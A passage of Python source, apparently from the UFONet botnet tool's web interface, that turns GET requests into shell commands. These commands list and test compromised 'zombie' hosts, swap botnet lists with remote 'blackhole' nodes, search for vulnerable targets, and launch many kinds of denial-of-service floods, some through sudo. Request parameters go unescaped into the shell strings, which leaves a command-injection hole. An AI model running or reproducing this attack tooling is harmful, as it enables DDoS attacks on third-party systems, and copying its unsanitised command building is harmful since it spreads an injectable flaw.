  3972. cmd_options = "--proxy='" + self.rproxy + "' --user-agent='" + self.ruseragent + "' --referer='" + self.rreferer + "' --host='" + self.rhost + "' --timeout='" + self.rtimeout + "' --retries='" + self.rretries + "' --delay='" + self.rdelay +"'" + " --threads='"+self.threads+"'"
  3973. if self.rxforw == "on":
  3974. cmd_options = cmd_options + " --xforw"
  3975. if self.rxclient == "on":
  3976. cmd_options = cmd_options + " --xclient"
  3977. if self.rssl == "on":
  3978. cmd_options = cmd_options + " --force-ssl"
  3979. cmd_options = cmd_options + " --force-yes" # no raw_input allowed on webgui
  3980. runcmd = ""
  3981. try:
  3982. res = re.findall(r"^GET ([^\s]+)", request.decode('utf-8'))
  3983. except:
  3984. res = re.findall(r"^GET ([^\s]+)", request)
  3985. if res is None or len(res)==0:
  3986. return
  3987. pGet = {}
  3988. page = res[0]
  3989. paramStart = page.find("?")
  3990. if paramStart != -1:
  3991. page = page[:paramStart]
  3992. try:
  3993. pGet = self.buildGetParams(request.decode('utf-8'))
  3994. except:
  3995. pGet = self.buildGetParams(request)
  3996. if page.startswith("/js/") or page.startswith("/images/") or page.startswith("/maps/") or page.startswith("/markers/"):
  3997. if os.path.exists("core/"+page[1:]):
  3998. try:
  3999. f=open("core/"+page[1:],'r',encoding="utf-8")
  4000. data = f.read()
  4001. self.pages[page]=data
  4002. except:
  4003. f=open("core/"+page[1:],'rb') # ajax map related
  4004. data = f.read()
  4005. self.pages[page]=data
  4006. elif page == "/js/ajax.js":
  4007. from .ajaxmap import AjaxMap
  4008. self.pages[page] = AjaxMap().ajax(pGet)
  4009. if page == "/cmd_check_tool":
  4010. self.pages["/cmd_check_tool"] = "<pre>Waiting for updates results...</pre>"
  4011. runcmd = "("+python_version+" -i ufonet --update |tee /tmp/out) &"
  4012. if page == "/cmd_check_tool_update":
  4013. if not os.path.exists('/tmp/out'):
  4014. open('/tmp/out', 'w').close()
  4015. with open('/tmp/out', 'r') as f:
  4016. self.pages["/cmd_check_tool_update"] = "<pre>"+f.read()+"<pre>"
  4017. if page == "/cmd_check_tor":
  4018. self.pages["/cmd_check_tor"] = "<pre>Waiting for results from the Tor check...</pre>"
  4019. runcmd = "("+python_version+" -i ufonet --check-tor |tee /tmp/out) &"
  4020. if page == "/cmd_check_tor_update":
  4021. if not os.path.exists('/tmp/out'):
  4022. open('/tmp/out', 'w').close()
  4023. with open('/tmp/out', 'r') as f:
  4024. self.pages["/cmd_check_tor_update"] = "<pre>"+f.read()+"<pre>"
  4025. if page == "/cmd_view_changelog":
  4026. f = open("docs/VERSION", "r")
  4027. changelog = f.read()
  4028. f.close()
  4029. self.pages["/cmd_view_changelog"] = "</center><pre>"+str(changelog)+"<br /><br/>"
  4030. if page == "/cmd_list_army":
  4031. self.pages["/cmd_list_army"] = "<pre><h1>Total Botnet = "+self.total_botnet+"</h1><table cellpadding='10' cellspacing='10' border='1'><tr><td>UCAVs:</td><td>"+self.num_ucavs+"</td><td>Aliens:</td><td>"+self.num_aliens+"</td></tr><tr><td>Droids:</td><td>"+self.num_droids+"</td><td>Zombies:</td><td>"+self.num_zombies+"</td></tr><tr><td>XML-RPCs:</td><td>"+self.num_rpcs+" </td><td>NTPs:</td><td>"+self.num_ntps+"</td></tr><tr><td>DNSs:</td><td>"+self.num_dnss+"</td><td>SNMPs:</td><td>"+self.num_snmps+"</td></tr></table> <hr><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>NTPs:</u> <b>"+self.num_ntps+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ntps_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ntps)+"</td><td></h3>"+'\n'.join(self.ntps)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>DNSs:</u> <b>"+self.num_dnss+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.dnss_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_dnss)+"</td><td></h3>"+'\n'.join(self.dnss)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>SNMPs:</u> <b>"+self.num_snmps+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.snmps_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_snmps)+"</td><td></h3>"+'\n'.join(self.snmps)+"</td></tr></table><br /><br/>"
  4032. if page == "/cmd_list_nodes":
  4033. self.dec_list_blackholes = []
  4034. self.decrypted_blackholes = []
  4035. for blackholes_text in self.list_blackholes:
  4036. self.decrypt(crypto_key, blackholes_text)
  4037. if self.decryptedtext:
  4038. if self.decryptedtext not in self.dec_list_blackholes:
  4039. self.dec_list_blackholes.append(self.decryptedtext)
  4040. else:
  4041. return
  4042. self.decryptedtext = "" # clean decryptedtext buffer
  4043. num_blackholes = 0 # blackholes nodes counter
  4044. for b in self.dec_list_blackholes:
  4045. s = b.rsplit(blackhole_sep, 1)[0]
  4046. ip_b = str(s.rsplit(blackhole_sep, 1)[0].rsplit(":", 1)[1])
  4047. if ip_b not in self.decrypted_blackholes:
  4048. self.decrypted_blackholes.append(ip_b)
  4049. num_blackholes = num_blackholes + 1
  4050. self.decrypted_globalnet = []
  4051. with open(self.globalnet_file) as f:
  4052. ls = f.read().splitlines()
  4053. f.close()
  4054. num_globalnet = 0 # globalnet nodes counter
  4055. for j in ls:
  4056. if globalnet_msg_sep in j:
  4057. m = j.split(globalnet_msg_sep)
  4058. globalnet_ip = m[3] # ip
  4059. self.decrypt(crypto_key, globalnet_ip)
  4060. if self.decryptedtext:
  4061. ip_g = self.decryptedtext
  4062. if ip_g not in self.decrypted_globalnet:
  4063. self.decrypted_globalnet.append(ip_g)
  4064. num_globalnet = num_globalnet + 1
  4065. self.decryptedtext = "" # clean decryptedtext buffer
  4066. if num_blackholes == 0:
  4067. ip_b = "-"
  4068. if num_globalnet == 0:
  4069. ip_g = "-"
  4070. total_nodes = str(num_blackholes + num_globalnet)
  4071. self.pages["/cmd_list_nodes"] = "<pre><h1>Total Nodes = "+str(total_nodes)+"</h1><br /><div id='infovis'></div><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u><a href='/radar' target='_blank'>GLOBAL.RADAR:</u></a> <b>"+str(num_globalnet)+"</b></td><td><h3><u><a href='/blackholes' target='_blank'>SHIP.WARPS:</u></a> <b>"+str(num_blackholes)+"</b></td></tr><tr><td></h3>"+'\n'.join(self.decrypted_globalnet)+"</td><td></h3>"+'\n'.join(self.decrypted_blackholes)+"</td></tr></table><br /><br/>"
  4072. if page == "/cmd_list_zombies":
  4073. self.pages["/cmd_list_zombies"] = "<pre><h1>Total Zombies = "+self.num_zombies+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><br/>"
  4074. if page == "/cmd_list_aliens":
  4075. self.pages["/cmd_list_aliens"] = "<pre><h1>Total Aliens = "+self.num_aliens+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><br/>"
  4076. if page == "/cmd_list_droids":
  4077. self.pages["/cmd_list_droids"] = "<pre><h1>Total Droids = "+self.num_droids+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><br/>"
  4078. if page == "/cmd_list_ucavs":
  4079. self.pages["/cmd_list_ucavs"] = "<pre><h1>Total UCAVs = "+self.num_ucavs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><br/>"
  4080. if page == "/cmd_list_rpcs":
  4081. self.pages["/cmd_list_rpcs"] = "<pre><h1>Total XML-RPCs = "+self.num_rpcs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><br/>"
  4082. if page == "/cmd_list_ntps":
  4083. self.pages["/cmd_list_ntps"] = "<pre><h1>Total NTPs = "+self.num_ntps+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>NTPs:</u> <b>"+self.num_ntps+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ntps_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ntps)+"</td><td></h3>"+'\n'.join(self.ntps)+"</td></tr></table><br /><br/>"
  4084. if page == "/cmd_list_dnss":
  4085. self.pages["/cmd_list_dnss"] = "<pre><h1>Total DNSs = "+self.num_dnss+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>DNSs:</u> <b>"+self.num_dnss+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.dnss_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_dnss)+"</td><td></h3>"+'\n'.join(self.dnss)+"</td></tr></table><br /><br/>"
  4086. if page == "/cmd_list_snmps":
  4087. self.pages["/cmd_list_snmps"] = "<pre><h1>Total SNMPs = "+self.num_snmps+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>SNMPs:</u> <b>"+self.num_snmps+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.snmps_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_snmps)+"</td><td></h3>"+'\n'.join(self.snmps)+"</td></tr></table><br /><br/>"
  4088. if page == "/cmd_view_army":
  4089. if pGet=={}:
  4090. self.pages["/cmd_view_army"] = self.html_army_map()
  4091. if page == "/cmd_view_attack":
  4092. if 'target' in list(pGet.keys()) != None:
  4093. self.pages["/cmd_view_attack"] = self.html_army_map(pGet['target'])
  4094. if page == "/cmd_test_army":
  4095. self.pages["/cmd_test_army"] = "<pre>Waiting for testing results...</pre>"
  4096. runcmd = "("+python_version+" -i ufonet -t " + self.zombies_file + " " + cmd_options + "|tee /tmp/out) &"
  4097. if page == "/cmd_test_all":
  4098. self.pages["/cmd_test_all"] = "<pre>Waiting for testing results...</pre>"
  4099. runcmd = "("+python_version+" -i ufonet --test-all " + cmd_options + "|tee /tmp/out) &"
  4100. if page == "/cmd_test_offline":
  4101. self.pages["/cmd_test_offline"] = "<pre>Waiting for testing results...</pre>"
  4102. runcmd = "("+python_version+" -i ufonet --test-offline " + cmd_options + "|tee /tmp/out) &"
  4103. if page == "/cmd_attack_me":
  4104. self.pages["/cmd_attack_me"] = "<pre>Waiting for 'attack-me' results...</pre>"
  4105. runcmd = "("+python_version+" -i ufonet --attack-me " + cmd_options + "|tee /tmp/out) &"
  4106. if page == "/cmd_download_nodes":
  4107. self.pages["/cmd_download_nodes"] = "<pre>Waiting for nodes downloading results...</pre>"
  4108. runcmd = "("+python_version+" -i ufonet --download-nodes "+ cmd_options + "|tee /tmp/out) &"
  4109. if page == "/cmd_download_nodes_update":
  4110. if not os.path.exists('/tmp/out'):
  4111. open('/tmp/out', 'w').close()
  4112. with open('/tmp/out', 'r') as f:
  4113. self.pages["/cmd_download_nodes_update"] = "<pre>"+f.read()+"<pre>"
  4114. if page == "/cmd_attack_me_update":
  4115. if not os.path.exists('/tmp/out'):
  4116. open('/tmp/out', 'w').close()
  4117. with open('/tmp/out', 'r') as f:
  4118. self.pages["/cmd_attack_me_update"] = "<pre>"+f.read()+"<pre>"
  4119. if page == "/cmd_download_community":
  4120. self.pages["/cmd_download_community"] = "<pre>Waiting for downloading results...</pre>"
  4121. runcmd = "("+python_version+" -i ufonet --download-zombies "+ cmd_options + "|tee /tmp/out) &"
  4122. if page == "/cmd_download_community_update":
  4123. if not os.path.exists('/tmp/out'):
  4124. open('/tmp/out', 'w').close()
  4125. with open('/tmp/out', 'r') as f:
  4126. self.pages["/cmd_download_community_update"] = "<pre>"+f.read()+"<pre>"
  4127. if page == "/cmd_download_botnet_ip":
  4128. blackhole = pGet["blackhole"]
  4129. blackhole=urllib.parse.unquote(blackhole)
  4130. self.pages["/cmd_download_botnet_ip"] = "<pre>Waiting for downloading results...</pre>"
  4131. runcmd = "("+python_version+" -i ufonet --down-from '"+blackhole+"' "+ cmd_options + "|tee /tmp/out) &"
  4132. if page == "/cmd_download_botnet_ip_update":
  4133. if not os.path.exists('/tmp/out'):
  4134. open('/tmp/out', 'w').close()
  4135. with open('/tmp/out', 'r') as f:
  4136. self.pages["/cmd_download_botnet_ip_update"] = "<pre>"+f.read()+"<pre>"
  4137. if page == "/cmd_upload_community":
  4138. self.pages["/cmd_upload_community"] = "<pre>Waiting for uploading results...</pre>"
  4139. runcmd = "("+python_version+" -i ufonet --upload-zombies "+ cmd_options + "|tee /tmp/out) &"
  4140. if page == "/cmd_upload_community_update":
  4141. if not os.path.exists('/tmp/out'):
  4142. open('/tmp/out', 'w').close()
  4143. with open('/tmp/out', 'r') as f:
  4144. self.pages["/cmd_upload_community_update"] = "<pre>"+f.read()+"<pre>"
  4145. if page == "/cmd_upload_botnet_ip":
  4146. blackhole = pGet["blackhole"]
  4147. blackhole=urllib.parse.unquote(blackhole)
  4148. self.pages["/cmd_upload_botnet_ip"] = "<pre>Waiting for uploading results...</pre>"
  4149. runcmd = "("+python_version+" -i ufonet --up-to '"+blackhole+"' "+ cmd_options + "|tee /tmp/out) &"
  4150. if page == "/cmd_upload_botnet_ip_update":
  4151. if not os.path.exists('/tmp/out'):
  4152. open('/tmp/out', 'w').close()
  4153. with open('/tmp/out', 'r') as f:
  4154. self.pages["/cmd_upload_botnet_ip_update"] = "<pre>"+f.read()+"<pre>"
  4155. if page == "/cmd_test_army_update":
  4156. if not os.path.exists('/tmp/out'):
  4157. open('/tmp/out', 'w').close()
  4158. with open('/tmp/out', 'r') as f:
  4159. self.pages["/cmd_test_army_update"] = "<pre>"+f.read()+"<pre>"
  4160. if page == "/cmd_test_all_update":
  4161. if not os.path.exists('/tmp/out'):
  4162. open('/tmp/out', 'w').close()
  4163. with open('/tmp/out', 'r') as f:
  4164. self.pages["/cmd_test_all_update"] = "<pre>"+f.read()+"<pre>"
  4165. if page == "/cmd_test_offline_update":
  4166. if not os.path.exists('/tmp/out'):
  4167. open('/tmp/out', 'w').close()
  4168. with open('/tmp/out', 'r') as f:
  4169. self.pages["/cmd_test_offline_update"] = "<pre>"+f.read()+"<pre>"
  4170. if page == "/cmd_test_rpcs":
  4171. self.pages["/cmd_test_rpcs"] = "<pre>Waiting for XML-RPC testing results...</pre>"
  4172. runcmd = "("+python_version+" -i ufonet --test-rpc " + cmd_options + "|tee /tmp/out) &"
  4173. if page == "/cmd_test_rpcs_update":
  4174. if not os.path.exists('/tmp/out'):
  4175. open('/tmp/out', 'w').close()
  4176. with open('/tmp/out', 'r') as f:
  4177. self.pages["/cmd_test_rpcs_update"] = "<pre>"+f.read()+"<pre>"
  4178. if page == "/cmd_attack":
  4179. self.pages["/cmd_attack"] = "<pre>Waiting for attacking results...</pre>"
  4180. cmd = ""
  4181. flag_ufosyn = None
  4182. flag_spray = None
  4183. flag_smurf = None
  4184. flag_xmas = None
  4185. flag_nuke = None
  4186. flag_tachyon = None
  4187. flag_monlist = None
  4188. flag_fraggle = None
  4189. flag_sniper = None
  4190. flag_ufoack = None
  4191. flag_uforst = None
  4192. flag_droper = None
  4193. flag_overlap = None
  4194. flag_pinger = None
  4195. flag_ufoudp = None
  4196. target = pGet["target"].replace(" ","/")
  4197. target=urllib.parse.unquote(target)
  4198. nonroot_cmd = "("+python_version+" -i ufonet -a '"+target+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
  4199. root_cmd = "(sudo "+python_version+" -i ufonet -a '"+target+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
  4200. end_cmd = ""+cmd_options + "|tee /tmp/out) &"
  4201. if pGet["dbstress"]:
  4202. cmd += "--db '" +str(pGet["dbstress"])+ "' "
  4203. if pGet["loic"]:
  4204. cmd += "--loic '" +str(pGet["loic"])+ "' "
  4205. if pGet["loris"]:
  4206. cmd += "--loris '" +str(pGet["loris"])+ "' "
  4207. if pGet["ufosyn"]:
  4208. cmd += "--ufosyn '" +str(pGet["ufosyn"])+ "' "
  4209. flag_ufosyn = True
  4210. if pGet["spray"]:
  4211. cmd += "--spray '" +str(pGet["spray"])+ "' "
  4212. flag_spray = True
  4213. if pGet["smurf"]:
  4214. cmd += "--smurf '" +str(pGet["smurf"])+ "' "
  4215. flag_smurf = True
  4216. if pGet["xmas"]:
  4217. cmd += "--xmas '" +str(pGet["xmas"])+ "' "
  4218. flag_xmas = True
  4219. if pGet["nuke"]:
  4220. cmd += "--nuke '" +str(pGet["nuke"])+ "' "
  4221. flag_nuke = True
  4222. if pGet["tachyon"]:
  4223. cmd += "--tachyon '" +str(pGet["tachyon"])+ "' "
  4224. flag_tachyon = True
  4225. if pGet["monlist"]:
  4226. cmd += "--monlist '" +str(pGet["monlist"])+ "' "
  4227. flag_monlist = True
  4228. if pGet["fraggle"]:
  4229. cmd += "--fraggle '" +str(pGet["fraggle"])+ "' "
  4230. flag_fraggle = True
  4231. if pGet["sniper"]:
  4232. cmd += "--sniper '" +str(pGet["sniper"])+ "' "
  4233. flag_sniper = True
  4234. if pGet["ufoack"]:
  4235. cmd += "--ufoack '" +str(pGet["ufoack"])+ "' "
  4236. flag_ufoack = True
  4237. if pGet["uforst"]:
  4238. cmd += "--uforst '" +str(pGet["uforst"])+ "' "
  4239. flag_uforst = True
  4240. if pGet["droper"]:
  4241. cmd += "--droper '" +str(pGet["droper"])+ "' "
  4242. flag_droper = True
  4243. if pGet["overlap"]:
  4244. cmd += "--overlap '" +str(pGet["overlap"])+ "' "
  4245. flag_overlap = True
  4246. if pGet["pinger"]:
  4247. cmd += "--pinger '" +str(pGet["pinger"])+ "' "
  4248. flag_pinger = True
  4249. if pGet["ufoudp"]:
  4250. cmd += "--ufoudp '" +str(pGet["ufoudp"])+ "' "
  4251. flag_ufoudp = True
  4252. if not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn and not flag_fraggle and not flag_sniper and not flag_ufoack and not flag_uforst and not flag_droper and not flag_overlap and not flag_pinger and not flag_ufoudp:
  4253. cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
  4254. if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True or flag_fraggle == True or flag_sniper == True or flag_ufoack == True or flag_uforst == True or flag_droper == True or flag_overlap == True or flag_pinger == True or flag_ufoudp == True:
  4255. cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST, FRAGGLE, SNIPER, UFOACK, UFORST, DROPER, OVERLAP, PINGER, UFOUDP)
  4256. runcmd = cmd + end_cmd
  4257. if page == "/cmd_attack_update":
  4258. if not os.path.exists('/tmp/out'):
  4259. open('/tmp/out', 'w').close()
  4260. with open('/tmp/out', 'r') as f:
  4261. self.pages["/cmd_attack_update"] = "<pre>"+f.read()+"<pre>"
  4262. if page == "/cmd_inspect":
  4263. self.pages["/cmd_inspect"] = "<pre>Waiting for inspecting results...</pre>"
  4264. target = pGet["target"]
  4265. target=urllib.parse.unquote(target)
  4266. runcmd = "("+python_version+" -i ufonet -i '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  4267. if page == "/cmd_inspect_update":
  4268. if not os.path.exists('/tmp/out'):
  4269. open('/tmp/out', 'w').close()
  4270. with open('/tmp/out', 'r') as f:
  4271. self.pages["/cmd_inspect_update"] = "<pre>"+f.read()+"<pre>"
  4272. if page == "/cmd_abduction":
  4273. self.pages["/cmd_abduction"] = "<pre>Waiting for abduction results...</pre>"
  4274. target = pGet["target"]
  4275. target=urllib.parse.unquote(target)
  4276. runcmd = "("+python_version+" -i ufonet -x '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  4277. if page == "/cmd_abduction_update":
  4278. if not os.path.exists('/tmp/out'):
  4279. open('/tmp/out', 'w').close()
  4280. with open('/tmp/out', 'r') as f:
  4281. self.pages["/cmd_abduction_update"] = "<pre>"+f.read()+"<pre>"
  4282. if page == "/cmd_search":
  4283. self.pages["/cmd_search"] = "<pre>Waiting for search engines results...</pre>"
  4284. if pGet["dork_list"] == "on": # search using dork list (file: dorks.txt)
  4285. if pGet["all_engines"] == "on": # search using all search engines (and exclude those set by the user)
  4286. if pGet["exclude_engines"]:
  4287. runcmd = "("+python_version+" -i ufonet --sd 'botnet/dorks.txt' --sa '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  4288. else:
  4289. runcmd = "("+python_version+" -i ufonet --sd 'botnet/dorks.txt' --sa " + cmd_options + "|tee /tmp/out) &"
  4290. else: # search using a search engine
  4291. runcmd = "("+python_version+" -i ufonet --sd 'botnet/dorks.txt' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  4292. else: # search using a pattern
  4293. if pGet["autosearch"] == "on": # search using auto-search mod
  4294. if pGet["exclude_engines"]:
  4295. runcmd = "("+python_version+" -i ufonet --auto-search '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  4296. else:
  4297. runcmd = "("+python_version+" -i ufonet --auto-search " + cmd_options + "|tee /tmp/out) &"
  4298. else:
  4299. if pGet["all_engines"] == "on": # search using all search engines
  4300. if pGet["exclude_engines"]:
  4301. runcmd = "("+python_version+" -i ufonet -s '"+pGet["dork"]+"' --sa '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  4302. else:
  4303. runcmd = "("+python_version+" -i ufonet -s '"+pGet["dork"]+"' --sa " + cmd_options + "|tee /tmp/out) &"
  4304. else: # search using a search engine
  4305. runcmd = "("+python_version+" -i ufonet -s '"+pGet["dork"]+"' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  4306. if page == "/cmd_search_update":
  4307. if not os.path.exists('/tmp/out'):
  4308. open('/tmp/out', 'w').close()
  4309. with open('/tmp/out', 'r') as f:
  4310. self.pages["/cmd_search_update"] = "<pre>"+f.read()+"<pre>"
  4311. if page == "/cmd_refresh_blackholes":
  4312. self.pages["/cmd_refresh_blackholes"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4313. blackhole_ip = pGet["blackholes_source"]
  4314. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4315. try:
  4316. blackholes = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/nodes.txt').read().decode('utf-8')
  4317. f = open(self.blackholes, "w") # write updates to nodes
  4318. f.write(blackholes)
  4319. f.close()
  4320. self.blackholes_text = blackholes
  4321. except:
  4322. blackholes = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4323. end_mark = "\n[Info] [AI] End of blackholes list (nodes.txt). -> [Refreshing!]"
  4324. f = open("/tmp/out", "w")
  4325. f.write(str(blackholes))
  4326. f.write(end_mark)
  4327. f.close()
  4328. if page == "/cmd_refresh_blackholes_update":
  4329. if not os.path.exists('/tmp/out'):
  4330. open('/tmp/out', 'w').close()
  4331. with open('/tmp/out', 'r') as f:
  4332. self.pages["/cmd_refresh_blackholes_update"] = "<pre>"+f.read()+"<pre>"
  4333. if page == "/cmd_refresh_news":
  4334. self.pages["/cmd_refresh_news"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4335. blackhole_ip = pGet["news_source"]
  4336. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4337. try:
  4338. news = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/news.txt').read().decode('utf-8')
  4339. f = open(self.news, "w") # write updates to news.txt
  4340. f.write(news)
  4341. f.close()
  4342. self.news_text = news
  4343. except:
  4344. news = "[Error] [AI] Something wrong downloading. Try it again or using another source....\n"
  4345. end_mark = "\n[Info] [AI] End of news feed. -> [Refreshing!]"
  4346. f = open("/tmp/out", "w")
  4347. f.write(str(news))
  4348. f.write(end_mark)
  4349. f.close()
  4350. if page == "/cmd_refresh_news_update":
  4351. if not os.path.exists('/tmp/out'):
  4352. open('/tmp/out', 'w').close()
  4353. with open('/tmp/out', 'r') as f:
  4354. self.pages["/cmd_refresh_news_update"] = "<pre>"+f.read()+"<pre>"
  4355. if page == "/cmd_refresh_tv":
  4356. self.pages["/cmd_refresh_tv"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4357. blackhole_ip = pGet["tv_source"]
  4358. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4359. try:
  4360. tv = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/tv.txt').read().decode('utf-8')
  4361. f = open(self.tv, "w") # write updates to tv.txt
  4362. f.write(tv)
  4363. f.close()
  4364. self.tv_text = tv
  4365. except:
  4366. tv = "[Error] [AI] Something wrong downloading. Try it again or using another source....\n"
  4367. end_mark = "\n[Info] [AI] End of TV feed. -> [Refreshing!]"
  4368. f = open("/tmp/out", "w")
  4369. f.write(str(tv))
  4370. f.write(end_mark)
  4371. f.close()
  4372. if page == "/cmd_refresh_tv_update":
  4373. if not os.path.exists('/tmp/out'):
  4374. open('/tmp/out', 'w').close()
  4375. with open('/tmp/out', 'r') as f:
  4376. self.pages["/cmd_refresh_tv_update"] = "<pre>"+f.read()+"<pre>"
  4377. if page == "/cmd_sync_wargames":
  4378. self.pages["/cmd_sync_wargames"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4379. blackhole_ip = pGet["wargames_source"]
  4380. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4381. try:
  4382. wargames = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read().decode('utf-8')
  4383. f = open(self.wargames_file, "w") # write updates to wargames.txt
  4384. f.write(wargames)
  4385. f.close()
  4386. self.wargames_text = wargames
  4387. except:
  4388. wargames = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4389. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4390. f = open("/tmp/out", "w")
  4391. f.write(str(wargames))
  4392. f.write(end_mark)
  4393. f.close()
  4394. if page == "/cmd_sync_wargames_update":
  4395. if not os.path.exists('/tmp/out'):
  4396. open('/tmp/out', 'w').close()
  4397. with open('/tmp/out', 'r') as f:
  4398. stream = f.read()
  4399. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4400. self.pages["/cmd_sync_wargames_update"] = "<pre>"+stream+"<pre>"
  4401. if page == "/cmd_sync_links":
  4402. self.pages["/cmd_sync_links"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4403. blackhole_ip = pGet["link_source"]
  4404. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4405. try:
  4406. links = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/links.txt').read().decode('utf-8')
  4407. f = open(self.links_file, "w") # write updates to links.txt
  4408. f.write(links)
  4409. f.close()
  4410. self.links_text = links
  4411. except:
  4412. links = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4413. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4414. f = open("/tmp/out", "w")
  4415. f.write(str(links))
  4416. f.write(end_mark)
  4417. f.close()
